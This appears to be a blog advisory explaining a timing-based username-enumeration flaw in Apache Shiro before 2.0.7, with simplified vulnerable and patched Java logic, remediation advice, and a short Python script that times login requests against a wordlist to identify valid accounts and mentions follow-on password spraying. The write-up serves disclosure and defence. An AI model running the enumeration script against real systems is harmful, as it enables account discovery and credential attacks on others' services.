Feb 10, 2026·6 min read·8 visits
Apache Shiro versions prior to 2.0.7 leak the existence of valid usernames via timing discrepancies. When a user exists, the system performs expensive password hashing; when they don't, it returns immediately. Attackers can measure this difference to build a list of valid accounts. Fix: Upgrade to 2.0.7.
Apache Shiro, a ubiquitous Java security framework, inadvertently implemented a classic side-channel vulnerability: the timing oracle. By optimizing the authentication flow to 'fail fast' when a username doesn't exist, the framework created a measurable time discrepancy compared to the computationally expensive process of verifying a valid user's password. This allows attackers to perform username enumeration by simply watching the clock.
In the world of high-performance computing, we are taught that speed is king. We optimize loops, cache database queries, and return errors the moment we detect them. This 'fail-fast' philosophy is usually a badge of honor for backend developers. But in the dark corners of cryptography and authentication, efficiency is a traitor.
Apache Shiro, the Swiss Army knife of Java security, fell into this exact trap. For years, it has been guarding the doors of enterprise applications, handling everything from LDAP integration to session management. It’s a robust framework, but CVE-2026-23901 reveals a subtle flaw in its armor: it talks too much, not with words, but with time.
Imagine a bouncer at a club. If you're on the list, he takes 30 seconds to carefully inspect your ID, check the hologram, and pat you down. If you aren't on the list, he immediately shouts 'Beat it!' and kicks you out in 1 second. If I'm standing across the street watching, I don't need to hear the conversation to know who made the list. I just have to count. That is exactly what is happening here.
The vulnerability lies deep within the AuthenticatingRealm and its subclasses. This is the component responsible for taking a user's login attempt and verifying it against a data source. The logic seems innocent enough: verify the user exists, then verify their credentials match.
However, modern password storage doesn't just 'match' strings. We use Key Derivation Functions (KDFs) like bcrypt, Argon2, or PBKDF2. These algorithms are deliberately slow and CPU-intensive to thwart brute-force attacks. Hashing a password might take 200-500 milliseconds depending on the work factor.
Here is the fatal flaw in the logic flow:
null. The system throws an UnknownAccountException. Total time: Database latency (~5ms).The difference is massive in computer time. It's the difference between a hiccup and a nap. Because Shiro returned early in Path A, it handed attackers a binary oracle: Fast response = Bad Username; Slow response = Good Username.
Let's look at a simplified representation of the vulnerable logic. This isn't the exact source code, but it represents the architectural flow that causes the issue.
// VULNERABLE LOGIC (Simplified)
public AuthenticationInfo getAuthenticationInfo(AuthenticationToken token) {
String username = token.getPrincipal();
// Step 1: Lookup User (Fast DB call)
Account account = accountDataSource.findByUsername(username);
// THE BUG: Early Exit
if (account == null) {
// Returns immediately (~5ms total execution)
throw new UnknownAccountException();
}
// Step 2: Verify Credentials (Slow Crypto)
// This involves bcrypt/Argon2 hashing (~300ms total execution)
if (!passwordService.passwordsMatch(token.getCredentials(), account.getPassword())) {
throw new IncorrectCredentialsException();
}
return account.getAuthInfo();
}To fix this, we have to do something counter-intuitive: we have to waste time on purpose. If the user doesn't exist, we must perform a 'dummy' hash operation that takes roughly the same amount of time as a real verification. This ensures that T(UserUnknown) ≈ T(UserKnown).
// PATCHED LOGIC (Concept)
public AuthenticationInfo getAuthenticationInfo(AuthenticationToken token) {
Account account = accountDataSource.findByUsername(username);
if (account == null) {
// FAKE IT: Run the expensive hash on garbage data
// so the attacker can't time the difference.
passwordService.hash("dummy_data");
throw new UnknownAccountException();
}
// Real verification
if (!passwordService.passwordsMatch(...)) {
throw new IncorrectCredentialsException();
}
return account.getAuthInfo();
}This is known as 'Constant Time' programming, although in high-level languages like Java, 'constant' is aspirational. We settle for 'indistinguishable within network jitter margins'.
Exploiting this requires statistical analysis. A single request might be noisy due to network jitter, garbage collection, or database load. To exploit this reliably, we use the Law of Large Numbers.
Here is how an attacker weaponizes this:
NON_EXISTENT_USER_UUID).admin, root, jsmith).import requests
import time
import numpy as np
target_url = "http://vulnerable-shiro.local/login"
wordlist = ["admin", "test", "dev", "prod", "root"]
def measure_time(username):
timings = []
for _ in range(20): # 20 samples per user
start = time.perf_counter()
requests.post(target_url, data={'user': username, 'pass': 'invalid'})
timings.append(time.perf_counter() - start)
return np.median(timings)
# Baseline
baseline = measure_time("uuid-random-string-definitely-not-real")
print(f"Baseline (User Not Found): {baseline:.4f}s")
# Attack
for user in wordlist:
avg_time = measure_time(user)
if avg_time > (baseline * 1.5): # Threshold dependent on hashing cost
print(f"[+] VALID USER FOUND: {user} ({avg_time:.4f}s)")
else:
print(f"[-] Invalid: {user}")In a local network or a low-latency environment, this script lights up valid accounts like a Christmas tree.
You might notice the CVSS score is a laughable 1.0. Why? Because CVSS v4.0 is notoriously strict about 'Attack Requirements'. For this attack to work reliably over the public internet, the timing difference usually needs to be significant enough to overcome the random noise (jitter) of the internet itself.
However, do not dismiss this. In an internal network penetration test, this is a silver bullet. Knowing valid usernames allows an attacker to:
Summer2026!) against all valid accounts without locking them out.It is the difference between firing a machine gun into the dark and using a sniper rifle with night vision.
The remediation is straightforward: Upgrade to Apache Shiro 2.0.7. The maintainers, specifically Lenny Primak, have implemented the necessary logic to normalize the timing of authentication failures. They effectively ensure that UserNotFound and BadPassword take the same amount of CPU time.
If you cannot upgrade immediately, you have two messy options:
But seriously, just upgrade the JARs. It's Java; you're used to dependency hell anyway.
CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/S:N/AU:Y/R:A/V:C/RE:L/U:Green| Product | Affected Versions | Fixed Version |
|---|---|---|
Apache Shiro Apache Software Foundation | < 2.0.7 | 2.0.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-208 |
| Attack Vector | Local / Adjacent Network |
| CVSS v4.0 | 1.0 (Low) |
| Attack Complexity | High (Requires statistical analysis) |
| Privileges Required | None |
| User Interaction | None |
The product performs a comparison or other operation that takes a variable amount of time depending on the input, allowing an attacker to determine the input's validity.